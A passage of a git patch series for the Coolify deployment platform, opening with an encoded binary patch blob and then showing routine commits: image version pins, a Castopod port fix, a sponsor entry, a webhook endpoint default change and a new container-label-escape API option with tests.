z^Z3HcKM6h5Po!kDkhw7sO$|_cN(oN57)=C#Shb4d1#e;*G!xxRhU>&?W zn^R%Z5&nW?y@KIbnu-0;klo#djqA4aId6Oquiw&79bL1~+LFP#b*~bngpx`4wF00F zEF~eiJ`{*vxv!bDA2PWKlSySc;ikwKEyFN`);_e>6&5mSK%7gb_`m~~(8CWut{KdU zgsqh864yBe@kJ#zC=|v64q48cHJi?O+eJ9^yf;yQo=_aFaKf>`^Y$ipt7=(z>?^I7u0Rf7LK|~z8YSw4v5SaS0rx`3Txus6|ck~6onu!gRkO+r| z%=<6@G@QA!@aM;uvvt5+gv=b)6@;S3S+w9K!AOd*3PO;Ul6(RgDPYZ=%YS|FN$hM+ z@r9Rv4tjWiq!27jwBjQ{&pj4@y^j#Ph}B=}RQoc4iL^B`Jc-tJ9UDNzQiuqTBx3hV zK_H5h!&t_p)kLSC7?5$WWd=#o+CT%ar_I1!cR$1@oqj&A-?&{QQaSq4cfO3P{_s0| z_6Jw-p~oI?Tm>XEt!QeS$;n(V+u1I5n!0teb$Xa+oo<>sXPAyzbE&1RLt3`0!b(AU z<^H^`?f$Eh#S7-l?mmixTHbXO#)k*c-P2CLz4JzS&Ku8EGpBd5uGX|)HDS5nht-nS zUMbLNN178)IMn*gmH#fjaQ*MF|C#T=*6mfUjaQLM*Z?z>PO!rn2w@NgRh~P$oqzGw zFR{+&;U=5l`CeoZ%yr8+1BQeM4Q92cPz@PLDcJZm-2Tu87-W&M9X1hy_5W+{%cJb7 zs=R;uoIAX+>b)8>CnS(SLI?^WKq5#p7zJg}2+O9C77XIjUSI3iqOFZ$12WiPD|WX8 zKcEo>t3?LkV-g8sm@*ND%ps{%s!~Y}@6{Xcz2}_Wf86(8y;M~KjUY6z*UGBYtv8%I z?0xp|+rP~uEG`>`RNC+{6O#OcYkq{6Uw)O+O=+crL5ocJ#;&b9U#aTwr#^M+?t#AU z%j%S0zn=2rf4K)x6$wC(Z)`ieXwua6X4}vB*(r zg_~-)#f3QmA_iIEJmK*78rnzD81eLhxc$fS28NF_48s>pPE#{K_>=#Dy=g0sJA5XR z35SqTtOGA>br|O7s5k}^WLu16lsv8Q`0t-aSL+16`08(yER>j7S3rW*IHk@Ds9$r% zD;UcQKm}FJ!&Q%Jcv3NBwNRz@nYAopwMlZ{5=rPI2tiB)W0;jOVBq^#UB_2l z|5IWg+&<|LeEmoNLM?}W*mUh0qL#KapbDHKpI-X?6Zp|J*T9arL`Eo(wp5UV0N~gX zN|^z$*<=alc}wU&2~m8uclYkjYDsm{q`4Po3gu;1G#X^OyX+-j_&k5*`fJeD(~sQt zUif|%eSN(EENX9`%uXVLc-th}on!7B%!30DuIpA>__>nPmk0t6u**1fN(~22mr0FPb-9TrYdX7n?QY^G4ubka^#9@iKD^_eQjBxR*?S*fEf4F*w-Wy^8 zPzSX&oth2guT``uWk(`D%Dz3=vy0CC^k4DS*Ir4}rcZ64Ep_hbA{qqP+YkZ` z7)v9acF-R6`KIsuBdvVo86?|d`0g!tph)95P##s=lnt1r6v*XEG-aZ|XO5eJb=&sh zku_bgoFp2ggf?NrT8J?d@H`*sq=!!&J&w;)T~)E=XUMt{eOvM+tJ#JX%-d+x?d9$+T-}%72l={Keq&yF2Wn!3z9aZ zv^Z=gw1(5ARrDV-i!j|i8umK|3()HxuRTQ|CIPLPt%fA2Ai$Ot&mdU&B9gGt=-RMk z00U++pt1*aXZktNVEaQyi&>`}$I(<0dT@w@6}sOc8mI0nM`>c+)Sx=$M_mX&)gFXV z>o;5hAcu(xuBtU^qseQhUU^Hka-p?iDIB8K3Fz6rhp)cw-*DS6?nJ(rK~vjweCfOY zz=wVGWMm44645v%5;4=7az!xE%Xj?vM*79FTVOjaCYfkb+AlhOIrCc7u|L+=w{7!? z`%iTtZT&7t0BGsbrIEXT^XQ{2Vhi0!EEvr6T8UVcmi+C7eEg@*BF||;vB2=lCDz)I z7ntD!Oyx?tQX&zJBGK3cAu_yesxtnE#Fnhsa^wl3O<4v2hWIHmP;6NfQ zqS%58gC(54AdNyn@x!aTD3xwuM}*Cmg6wb}c%}AS^78oj@#FbB7cIr|KRiR})|P;a zS=;!9pXY~qE;fe$Y~{y$%mAS32`pWDM(pliK5;E%%U7IuJ1i>*N`-=z>F>eGCm)aR zedilkwCHG{ltFnY2WeSk3n%;p28T89(EAqRfG+*$a9}JWFseF0)l5G_gM@7Zu^2-d zlzRFp=*>dr2cS!3kTy`!80;w%I5BwwU`xVKfy>%Mq{<)4#5H!AF*R}2IxDm6_Kp9U znZ-zu6RI}LR9`YY1GPQ^7$&<9*}=4i5CqxO#^nOA?6y1c!y9ix=gwUKNm_WyDfsI5 zzR!)5r$VuBS{j?FAqi3F&+(%jcj4w6eoUR)ccEe2cr8g9_5<6f@;cJRv$NSf+bRgX zs*=B++e-lW%rnnSEr0seo0SnuoMfC$;Ol&UpVcpMSpJ=!j?>^ zPC{g`CfEQ)T*EzkJxVs&fFTY$o`@;zjU-C|xzZpXGj9_8`nn(R-M8LNiAfVoP|6G2 z&#wFU$;T}0=;$cEUUvVD%6rWKpz0P85n9vZ&MpOfy&Fl)Akn}iqb4)7Ls;z5XV3XK zf9q+Nq{^9w z#~o75Yv6GD7z2S)aGWTpF$G=9jpxJZm;C`TCc!@T?`+T__{s zMtEvl5pQiC81zZcLYhqGe10(B*$yeDb2pIyyS?Z_@P@01OF% zrq_s`(C&-Z^9&s>b%4BYCZ6P}nM?*sc^7%aHhYIN0{u=sw z`b^2wkcqgA#N*If!7F>1FtL@dT6QPa_ZUhzfDYN6!w?`u`c~#n3RuF2(wa$Fl`3yI zq*juI=jCzeoMwLP)*sQG*Z%^|<0t97DGK8i2ijxy{LapGuZ_g>|2gtrGyte`2ledP zlbU*Vm9EgRmx^fGvF(^)X3q5WinK%gne#p=F1_SJo_oYhKxe6(A7oN4*}?{hSO{6I z>F=vZ`%`x8Kk+vDXZXj^8>n=|gmi!y*5HuyW|*^Zn3QPDyEhze?3)A}W0|8a+E^h# z9X?@S7E4oEzagU(j4-ewE+gKG+&~!}zqy}ozT;Lr_ssJEqG+2kg+Fut=lHyfE+wm} z8HI9*$ETw-v}X@Je((MG<7W1~@lZ=13Y3jAjsTYjUzf6E_hdCE8c z@K>Q#> zU+I=>Zo;_s*;?tWDU~x;!V#bB?cMg^7_j9(OWvynpei+QVEW|AM-2>l-_mS<+IFId z#goeSfPwx_nMg={?6i~cxzC-AQ%+ihXf#g9#36B&|Hpa#LOCeX*83otArmFNJk zsrDR*{k^`bm~~~nee{1n-H7{>5!K3JI53a+%;Do)f4)p06)09p!*(6A8X5rG=FY7< z=vR0D4tL-6TVC_(s{lNTHns34KK)so|CRrP8FOZ!R0c@_?%TGFANxfI{r0{Gux;~J zL>tm3o=9reMaM5?0K+}DG|L1}7qoQYG&1+bfvMIQHnnasD~y;EYdx0#gp2P6!H&+zuC7i1l2WY);jGV|g)_c*5vI;N1U%@YZ)YdgzVIAB@xcGb zGfzH?La_k1F=gVhI9Mqel*v7j6&rL8Flno`N$zI$BD(%IK%X}Lc!BW#a$fI?D0+CyMq4k#M7K;ZZWp@p}dUL zL2+qmXwS0B6tA~b`SCt609C0rduSm9TGHvW{DA*2?C3%nO@l-P#^|7s%L>2LFWOp? zIOU`haNe0`fdf?zFd|&Qe!PJL zmI zjg_20#~d{ur=NK`PC5NFjGH`#o?h_`Klj9PdSS&1Y~Hv9eSH~25IT`a!il&xYXhx4 z0L2Z==JrEoAAI}jr=RYrEcxwF{E@QX+WCmaZva5D^^gk!joaO5O69Wy)|{hf^55Td z2exj`ljBGjt_@hPcc(^vGME{qa)9v@(h!BM_}S&(!umC@nYPxc+8DOA+QS8J_vg!* z%pKL1yYbT8%W0@=~|3vj36Wr_2;nem5ub!Lyz+Bm#@G}>o!nHTa0*` z+Sk!EM_N-YU`M&Jea=STQz0)ru>tRRYO{4X@tBUbSsMjfvF zR%->^CmcV}4cy05sDS%xIR~z^)>iZ%#6n1jM4aH*fV5zWWpwWD;b)&;jfWq30;^ZQ zj4fL_Q7Q!x4Jk^*njkD2WmV$FR5Mb^IQn~cabN!+qgaHUY+%Q6V7ZpG1d$E`m_UOS z7r<&IOZ|{5}oM_r;WlGrr@$H*`&gp}X zrNO;f*tW~{bXyEn4X41QVThnL!5D=}tqo`}L;PR={zJOAqXV&)DaN)M40{8XQ2AFP z31`Xf9h=v`9Wnn%c|RL~s_f$eo`3%N@h6{r@>H*=K5IaK#jevXEgOy<193u^N+ll3 z4nnE2NT(bzaa@{@oHrW_jyf9i<{g1KGp8fn(gL`G0FO~B0)c||R5&XWA|xG#0g(uS zMimJ+da81MRFOlYns-nMI?V6`S67eUH^IkjLc}8*hG7CU9NS^oF5ozT8zU5bsB*v? zw{1sfPcN1)e;UuNT8&pX?ZlqFg8&nvu_R*ggkd2}07c9KqEg1nRXBp9%4MkGd%R!9^o z1%nxTyLV&nU>4iAZ>LpjUgGtyZow-XHly>kofyh_kRk#*7GWnAH?9*2nRdXI_BDiH zXcV9-1RVfFf?!)Vf}lL$mAt`NJU$4bmE~e#dopSL$+l^IPj`2Jopw{*ZvU3lv)@9g zPFB@I5EAM3OMESEh$Y%${0$FZoX z#YW2YvGw^U`JUT;hIKD&pm@4j$Kna{y`m_WhI*o)%d*+dJ1X}3Evxgto_t^cMoT@U zGz<}hz=FdMZ|mwCTu}1zr;@Z6DveoEHpCTd2v>qgKtPyMp{#w+gI_KP3yP%8)RIo& zkb@>7l}_=z!w;kBQx2j?#Kp9!Q!r`LBsh-6Bn)D%g=iv1aNSUOA!&F?T=%ag!z>|z z2U9GfP$&wuV&0Rc@%hF(fKUS<-$pe`jclY#SduKN(%@mZiv7?Q!U6&ol zF_tAI2xPP(qXV#JNWt)fd=X4tM(fp%BX-84&I`MD_YP`!MgnMQY04jZ=-lpEv+}*S zEL$C*!pT`DvTmn;w<$g9LqZ~8>cPj%8|WXrQdoS3F^(SU>!WE$Oc7tY`UW(%%tp`d z930mQ+jaqHqoH*O)rdrFBw{Yo2@9pYop@=*AMnHj_hG}PPFONxQi%o=1c4O<{jf#( z)=A@{-+KAw*Lv$K6Mw0b{=fhnSg7u%nCc;BBaS`x$SK`B_b$)|$L77#(bBf&Xie!z zq#4=(PBan{$|b&Izj9MM?Ujq0x5 zyUD#DB?LfN7Fx&6J)z{4mKx@B$#N}=jA}?F<%yp;7av)2E@z826|x0#9S5v61Ob*1 zh`KH!5r-uT@cOsY=5=ea`l%II^}<>n92n$CJZ=(+W|j=wFX!NU*{708`|{phTbKU@ zD;{H>_XqOEr2e6<#byDS(gh(U-Kp-$C zq|vq{{2&M?z6hy_2qp;F_dE)G1+9ZHu_&s{fZ^PtIuvdwA&oDDZNs)57PbZHSi~R_ zB&6%Q;ewS0Ndg&-!1tj1a%J$i=?=VNHX3m^2Z8@$ON;YTHd}i6BOjUDbN_wIGZI z#@KKiix`@f38xpCLJqq&tjF$MyRmNVO6=USnfv=P1UqWt4Ncm0B9i^G(0&dudaZ56 zuFv$n^2-Y8={uVE{J;RbIiWGUgW;@}5MVYq@ANZTo_lfAq4{E_DHcu4>)o?wS~L-D zw=8Fl=X(tx%dw=DU?LbMNExjFjY1AtGtyC}eg9h_j~Ip?umKwdCJjLhqm}l2zd&F= znTYKv7E0@luZEhNnzr|4`kr^C%$~A%{>F}uM+b&^@%H&fQFpHUC6@eOE_C9FC(2FR z_8vQw&3}!AIFm^V%Z)%-5kn%Ti@B0e-XO&zhAhWLB;pbiq3nAol}cce2+9F#V>q5@ zV9Rn@+rl!eAe9EIz}LF`m?VA6*S~VnLswjJg%@U_A(BWm$J6Q5G(oD(_q|v#UyKG?TLx^|mTNO) z$Q8mA5I7)9ay)7e*|uE-W56pFyMjRF6sdAULn1q=y|ruG`mMYCeBSHll_e?X2X)!^ zvDPm}?Bee=Wj~-00j=Yw9#_a0E@4C$OA%`~G75^=kQN{eK^iilS)?!~B!VDY2x$SP zfIu4<1(3=q6%*+OQ@rx zW8{4p`GAb|z>Iv)Sod<|!}hLu@ZQBzD+8j=z<%+IOB>g$Su<(#=B}oaUyd_CzV Date: Sun, 8 Mar 2026 01:08:18 -0500 Subject: [PATCH 09/51] fixup --- templates/compose/n8n-with-postgres-and-worker.yaml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/templates/compose/n8n-with-postgres-and-worker.yaml b/templates/compose/n8n-with-postgres-and-worker.yaml index d2235e479..b7d381399 100644 --- a/templates/compose/n8n-with-postgres-and-worker.yaml +++ b/templates/compose/n8n-with-postgres-and-worker.yaml @@ -7,7 +7,7 @@ services: n8n: - image: n8nio/n8n:2.10.2 + image: n8nio/n8n:2.10.4 environment: - SERVICE_URL_N8N_5678 - N8N_EDITOR_BASE_URL=${SERVICE_URL_N8N} @@ -54,7 +54,7 @@ services: retries: 10 n8n-worker: - image: n8nio/n8n:2.10.2 + image: n8nio/n8n:2.10.4 command: worker environment: - GENERIC_TIMEZONE=${GENERIC_TIMEZONE:-UTC} @@ -122,7 +122,7 @@ services: retries: 10 task-runners: - image: n8nio/runners:2.10.2 + image: n8nio/runners:2.10.4 environment: - N8N_RUNNERS_TASK_BROKER_URI=${N8N_RUNNERS_TASK_BROKER_URI:-http://n8n-worker:5679} - N8N_RUNNERS_AUTH_TOKEN=$SERVICE_PASSWORD_N8N From db46af89b1a688e710e6ab146d8ce2316f21a5e8 Mon Sep 17 00:00:00 2001 From: Bernhard Millauer Date: Sun, 8 Mar 2026 18:54:14 +0100 Subject: [PATCH 10/51] Change Castopod service port from 8000 to 8080 The current port mapping 8000 is wrong and the service is never reachable. As stated in https://docs.castopod.org/main/en/getting-started/docker/, the docker container is exposing 8080. --- templates/compose/castopod.yaml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/templates/compose/castopod.yaml b/templates/compose/castopod.yaml index 6c6e8c4d5..c43f4fba5 100644 --- a/templates/compose/castopod.yaml +++ b/templates/compose/castopod.yaml @@ -3,7 +3,7 @@ # category: media # tags: podcast, media, audio, video, streaming, hosting, platform, castopod # logo: svgs/castopod.svg -# port: 8000 +# port: 8080 services: castopod: @@ -11,7 +11,7 @@ services: volumes: - castopod-media:/var/www/castopod/public/media environment: - - SERVICE_URL_CASTOPOD_8000 + - SERVICE_URL_CASTOPOD_8080 - MYSQL_DATABASE=castopod - MYSQL_USER=$SERVICE_USER_MYSQL - MYSQL_PASSWORD=$SERVICE_PASSWORD_MYSQL @@ -27,7 +27,7 @@ services: "CMD", "curl", "-f", - "http://localhost:8000/health" + "http://localhost:8080/health" ] interval: 5s timeout: 20s From 9ea8e4dabf17f7cb1b4a7994e76660c48f299482 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 12 Mar 2026 15:10:06 +0100 Subject: [PATCH 11/51] add dataforest sponsor --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index e9ea0e7d4..b2d622167 100644 --- a/README.md +++ b/README.md @@ -77,6 +77,7 @@ ### Big Sponsors * [Convex](https://convex.link/coolify.io) - Open-source reactive database for web app developers * [CubePath](https://cubepath.com/?ref=coolify.io) - Dedicated Servers & Instant Deploy * [Darweb](https://darweb.nl/?ref=coolify.io) - 3D CPQ solutions for ecommerce design +* [Dataforest Cloud](https://cloud.dataforest.net/en?ref=coolify.io) - Deploy cloud servers as seeds independently in seconds. Enterprise hardware, premium network, 100% made in Germany. * [Formbricks](https://formbricks.com?ref=coolify.io) - The open source feedback platform * [GoldenVM](https://billing.goldenvm.com?ref=coolify.io) - Premium virtual machine hosting solutions * [Greptile](https://www.greptile.com?ref=coolify.io) - The AI Code Reviewer From 21ed8fd300d21ba9b7cdf1503fbdd835161e89d7 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 12 Mar 2026 15:10:12 +0100 Subject: [PATCH 12/51] version++ --- config/constants.php | 2 +- other/nightly/versions.json | 4 ++-- versions.json | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/config/constants.php b/config/constants.php index 5cb924148..9c6454cae 100644 --- a/config/constants.php +++ b/config/constants.php @@ -2,7 +2,7 @@ return [ 'coolify' => [ - 'version' => '4.0.0-beta.468', + 'version' => '4.0.0-beta.469', 'helper_version' => '1.0.12', 'realtime_version' => '1.0.11', 'self_hosted' => env('SELF_HOSTED', true), diff --git a/other/nightly/versions.json b/other/nightly/versions.json index 7fbe25374..7564f625e 100644 --- a/other/nightly/versions.json +++ b/other/nightly/versions.json @@ -1,10 +1,10 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.468" + "version": "4.0.0-beta.469" }, "nightly": { - "version": "4.0.0-beta.469" + "version": "4.0.0" }, "helper": { "version": "1.0.12" diff --git a/versions.json b/versions.json index 7fbe25374..7564f625e 100644 --- a/versions.json +++ b/versions.json @@ -1,10 +1,10 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.468" + "version": "4.0.0-beta.469" }, "nightly": { - "version": "4.0.0-beta.469" + "version": "4.0.0" }, "helper": { "version": "1.0.12" From c3d8f70ebb86afc6c77096b2634c8feff275b217 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Fri, 13 Mar 2026 11:19:00 +0530 Subject: [PATCH 13/51] fix(git): GitHub App webhook endpoint defaults to IPv4 instead of the instance domain --- app/Livewire/Source/Github/Change.php | 2 +- resources/views/livewire/source/github/change.blade.php | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/app/Livewire/Source/Github/Change.php b/app/Livewire/Source/Github/Change.php index 0a38e6088..17323fdec 100644 --- a/app/Livewire/Source/Github/Change.php +++ b/app/Livewire/Source/Github/Change.php @@ -239,7 +239,7 @@ public function mount() if (isCloud() && ! isDev()) { $this->webhook_endpoint = config('app.url'); } else { - $this->webhook_endpoint = $this->ipv4 ?? ''; + $this->webhook_endpoint = $this->fqdn ?? $this->ipv4 ?? ''; $this->is_system_wide = $this->github_app->is_system_wide; } } catch (\Throwable $e) { diff --git a/resources/views/livewire/source/github/change.blade.php b/resources/views/livewire/source/github/change.blade.php index 53d953aa2..9ccf1e2b7 100644 --- a/resources/views/livewire/source/github/change.blade.php +++ b/resources/views/livewire/source/github/change.blade.php @@ -242,15 +242,15 @@ class=""
+ @if ($fqdn) + + @endif @if ($ipv4) @endif @if ($ipv6) @endif - @if ($fqdn) - - @endif @if (config('app.url')) @endif From f1b8aaed2e1ec99f86b9ea10a1cfe39ea261b294 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Fri, 13 Mar 2026 11:40:25 +0530 Subject: [PATCH 14/51] fix(service): hoppscotch fails to start due to db unhealthy --- templates/compose/hoppscotch.yaml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/templates/compose/hoppscotch.yaml b/templates/compose/hoppscotch.yaml index 536a3a215..2f8731c0f 100644 --- a/templates/compose/hoppscotch.yaml +++ b/templates/compose/hoppscotch.yaml @@ -7,7 +7,7 @@ services: backend: - image: hoppscotch/hoppscotch:latest + image: hoppscotch/hoppscotch:2026.2.1 environment: - SERVICE_URL_HOPPSCOTCH_80 - VITE_ALLOWED_AUTH_PROVIDERS=${VITE_ALLOWED_AUTH_PROVIDERS:-GOOGLE,GITHUB,MICROSOFT,EMAIL} @@ -34,7 +34,7 @@ services: retries: 10 hoppscotch-db: - image: postgres:latest + image: postgres:15 volumes: - postgres_data:/var/lib/postgresql/data environment: @@ -51,7 +51,7 @@ services: db-migration: exclude_from_hc: true - image: hoppscotch/hoppscotch:latest + image: hoppscotch/hoppscotch:2026.2.1 depends_on: hoppscotch-db: condition: service_healthy From 963e33562183d9c1ec232f85717fbb7a7e25f8d9 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Fri, 13 Mar 2026 12:05:06 +0530 Subject: [PATCH 15/51] chore(service): pin castopod service to a static version instead of latest --- templates/compose/castopod.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templates/compose/castopod.yaml b/templates/compose/castopod.yaml index c43f4fba5..8eaed59e5 100644 --- a/templates/compose/castopod.yaml +++ b/templates/compose/castopod.yaml @@ -7,7 +7,7 @@ services: castopod: - image: castopod/castopod:latest + image: castopod/castopod:1.15.4 volumes: - castopod-media:/var/www/castopod/public/media environment: From 35eb5cf937b6a7d51799ecee80ab4e95d58d5601 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Fri, 13 Mar 2026 12:27:55 +0530 Subject: [PATCH 16/51] chore(service): remove unused attributes on imgcompress service --- templates/compose/imgcompress.yaml | 2 -- 1 file changed, 2 deletions(-) diff --git a/templates/compose/imgcompress.yaml b/templates/compose/imgcompress.yaml index 1046ead59..0fea5a0ff 100644 --- a/templates/compose/imgcompress.yaml +++ b/templates/compose/imgcompress.yaml @@ -8,8 +8,6 @@ services: imgcompress: image: karimz1/imgcompress:${IMGCOMPRESS_VERSION:-latest} - container_name: imgcompress - restart: always environment: - SERVICE_URL_IMGCOMPRESS_5000 - DISABLE_LOGO=${DISABLE_LOGO:-false} From c25e59e7edf54994058e0c7c9d599ad761db574c Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Fri, 13 Mar 2026 12:28:25 +0530 Subject: [PATCH 17/51] chore(service): pin imgcompress to a static version instead of latest --- templates/compose/imgcompress.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templates/compose/imgcompress.yaml b/templates/compose/imgcompress.yaml index 0fea5a0ff..7cbe4b468 100644 --- a/templates/compose/imgcompress.yaml +++ b/templates/compose/imgcompress.yaml @@ -7,7 +7,7 @@ services: imgcompress: - image: karimz1/imgcompress:${IMGCOMPRESS_VERSION:-latest} + image: karimz1/imgcompress:0.6.0 environment: - SERVICE_URL_IMGCOMPRESS_5000 - DISABLE_LOGO=${DISABLE_LOGO:-false} From b9cae51c5d774ad14c4c44263c268947c3205acf Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 13 Mar 2026 13:32:58 +0100 Subject: [PATCH 18/51] feat(service): add container label escape control to services API Add `is_container_label_escape_enabled` boolean field to services API, allowing users to control whether special characters in container labels are escaped. Defaults to true (escaping enabled). When disabled, users can use environment variables within labels. Includes validation rules and comprehensive test coverage. --- .../Controllers/Api/ServicesController.php | 20 ++++- .../ServiceContainerLabelEscapeApiTest.php | 75 +++++++++++++++++++ 2 files changed, 92 insertions(+), 3 deletions(-) create mode 100644 tests/Feature/ServiceContainerLabelEscapeApiTest.php diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index b4fe4e47b..32097443e 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -222,6 +222,7 @@ public function services(Request $request) ), ], 'force_domain_override' => ['type' => 'boolean', 'default' => false, 'description' => 'Force domain override even if conflicts are detected.'], + 'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off.'], ], ), ), @@ -288,7 +289,7 @@ public function services(Request $request) )] public function create_service(Request $request) { - $allowedFields = ['type', 'name', 'description', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'docker_compose_raw', 'urls', 'force_domain_override']; + $allowedFields = ['type', 'name', 'description', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'docker_compose_raw', 'urls', 'force_domain_override', 'is_container_label_escape_enabled']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -317,6 +318,7 @@ public function create_service(Request $request) 'urls.*.name' => 'string|required', 'urls.*.url' => 'string|nullable', 'force_domain_override' => 'boolean', + 'is_container_label_escape_enabled' => 'boolean', ]; $validationMessages = [ 'urls.*.array' => 'An item in the urls array has invalid fields. Only name and url fields are supported.', @@ -429,6 +431,9 @@ public function create_service(Request $request) $service = Service::create($servicePayload); $service->name = $request->name ?? "$oneClickServiceName-".$service->uuid; $service->description = $request->description; + if ($request->has('is_container_label_escape_enabled')) { + $service->is_container_label_escape_enabled = $request->boolean('is_container_label_escape_enabled'); + } $service->save(); if ($oneClickDotEnvs?->count() > 0) { $oneClickDotEnvs->each(function ($value) use ($service) { @@ -485,7 +490,7 @@ public function create_service(Request $request) return response()->json(['message' => 'Service not found.', 'valid_service_types' => $serviceKeys], 404); } elseif (filled($request->docker_compose_raw)) { - $allowedFields = ['name', 'description', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'docker_compose_raw', 'connect_to_docker_network', 'urls', 'force_domain_override']; + $allowedFields = ['name', 'description', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'docker_compose_raw', 'connect_to_docker_network', 'urls', 'force_domain_override', 'is_container_label_escape_enabled']; $validationRules = [ 'project_uuid' => 'string|required', @@ -503,6 +508,7 @@ public function create_service(Request $request) 'urls.*.name' => 'string|required', 'urls.*.url' => 'string|nullable', 'force_domain_override' => 'boolean', + 'is_container_label_escape_enabled' => 'boolean', ]; $validationMessages = [ 'urls.*.array' => 'An item in the urls array has invalid fields. Only name and url fields are supported.', @@ -609,6 +615,9 @@ public function create_service(Request $request) $service->destination_id = $destination->id; $service->destination_type = $destination->getMorphClass(); $service->connect_to_docker_network = $connectToDockerNetwork; + if ($request->has('is_container_label_escape_enabled')) { + $service->is_container_label_escape_enabled = $request->boolean('is_container_label_escape_enabled'); + } $service->save(); $service->parse(isNew: true); @@ -835,6 +844,7 @@ public function delete_by_uuid(Request $request) ), ], 'force_domain_override' => ['type' => 'boolean', 'default' => false, 'description' => 'Force domain override even if conflicts are detected.'], + 'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off.'], ], ) ), @@ -923,7 +933,7 @@ public function update_by_uuid(Request $request) $this->authorize('update', $service); - $allowedFields = ['name', 'description', 'instant_deploy', 'docker_compose_raw', 'connect_to_docker_network', 'urls', 'force_domain_override']; + $allowedFields = ['name', 'description', 'instant_deploy', 'docker_compose_raw', 'connect_to_docker_network', 'urls', 'force_domain_override', 'is_container_label_escape_enabled']; $validationRules = [ 'name' => 'string|max:255', @@ -936,6 +946,7 @@ public function update_by_uuid(Request $request) 'urls.*.name' => 'string|required', 'urls.*.url' => 'string|nullable', 'force_domain_override' => 'boolean', + 'is_container_label_escape_enabled' => 'boolean', ]; $validationMessages = [ 'urls.*.array' => 'An item in the urls array has invalid fields. Only name and url fields are supported.', @@ -1001,6 +1012,9 @@ public function update_by_uuid(Request $request) if ($request->has('connect_to_docker_network')) { $service->connect_to_docker_network = $request->connect_to_docker_network; } + if ($request->has('is_container_label_escape_enabled')) { + $service->is_container_label_escape_enabled = $request->boolean('is_container_label_escape_enabled'); + } $service->save(); $service->parse(); diff --git a/tests/Feature/ServiceContainerLabelEscapeApiTest.php b/tests/Feature/ServiceContainerLabelEscapeApiTest.php new file mode 100644 index 000000000..895d776f0 --- /dev/null +++ b/tests/Feature/ServiceContainerLabelEscapeApiTest.php @@ -0,0 +1,75 @@ + 0, 'is_api_enabled' => true]); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); + + $this->token = $this->user->createToken('test-token', ['*']); + $this->bearerToken = $this->token->plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = $this->project->environments()->first(); +}); + +function serviceContainerLabelAuthHeaders($bearerToken): array +{ + return [ + 'Authorization' => 'Bearer '.$bearerToken, + 'Content-Type' => 'application/json', + ]; +} + +describe('PATCH /api/v1/services/{uuid}', function () { + test('accepts is_container_label_escape_enabled field', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + $response = $this->withHeaders(serviceContainerLabelAuthHeaders($this->bearerToken)) + ->patchJson("/api/v1/services/{$service->uuid}", [ + 'is_container_label_escape_enabled' => false, + ]); + + $response->assertStatus(200); + + $service->refresh(); + expect($service->is_container_label_escape_enabled)->toBeFalse(); + }); + + test('rejects invalid is_container_label_escape_enabled value', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + $response = $this->withHeaders(serviceContainerLabelAuthHeaders($this->bearerToken)) + ->patchJson("/api/v1/services/{$service->uuid}", [ + 'is_container_label_escape_enabled' => 'not-a-boolean', + ]); + + $response->assertStatus(422); + }); +}); From a97612b29e8f7194a4e4c57cc3cd932bce1e43b7 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 13 Mar 2026 13:53:03 +0100 Subject: [PATCH 19/51] fix(docker-compose): respect preserveRepository when injecting --project-directory When adding --project-directory to custom docker compose start commands, use the application's host workdir if preserveRepository is true, otherwise use the container workdir. Add tests for both scenarios and explicit paths. --- app/Jobs/ApplicationDeploymentJob.php | 